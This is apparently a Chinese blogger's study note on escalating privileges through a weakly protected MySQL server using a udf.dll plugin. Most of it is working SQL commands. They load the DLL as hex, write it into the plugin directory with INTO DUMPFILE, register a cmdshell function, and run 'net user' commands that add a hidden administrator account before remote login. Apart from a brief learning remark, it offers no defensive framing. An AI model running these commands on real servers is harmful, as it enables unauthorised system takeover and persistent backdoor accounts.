mysql udf.dll 提权

今天学习了,mysql弱口令的提权方式,特记录一下。

1.所使用的工具

    1.mysql连接工具:navicat premium

    2.提权工具udf.dll

    udf.dll源码参考https://www.uedbox.com/udf-dll-source/

    udf提权方法错误问题参考https://www.cnblogs.com/Le30bjectNs11/p/4536063.html

2.提权过程

    1.连接数据库(要提前知道用户名和密码)


    2.打开命令行界面


    3.将udf.dll代码的16进制数声明给my_udf_a变量

        首先将udf.dll文件转化为16进制数。然后使用命令:

            use mysql;

            set @my_udf_a=concat('',dll的16进制);


4.建表my_udf_data,字段为data,类型为longblob。

    新建一个表用来存储udf.dll数据。命令:

        create table my_udf_data(data LONGBLOB);


    5. @ my_udf_a插入表my_udf_data。

        将刚刚创建的my_udf_a中的数据导入。命令:

            insert into my_udf_data values("");update my_udf_data set data = @my_udf_a;


    6.查看udf.dll的导出路径。

        命令:show variables like '%plugin%';


            7.将udf.dll导出

                命令:

                    select data from my_udf_data into DUMPFILE 'C:/Program Files/phpStudy/MySQL/lib/plugin/uudf.dll';


       8.创建cmd function。

        命令:

            create function cmdshell returns string soname 'uudf.dll';


    9.通过cmd function进行提权。

        命令:

            select cmdshell('net user x x /add');

            select cmdshell('net localgroup administrators x /add');


    10.远程到主机




11.查看管理员组


你可能感兴趣的:(mysql udf.dll 提权)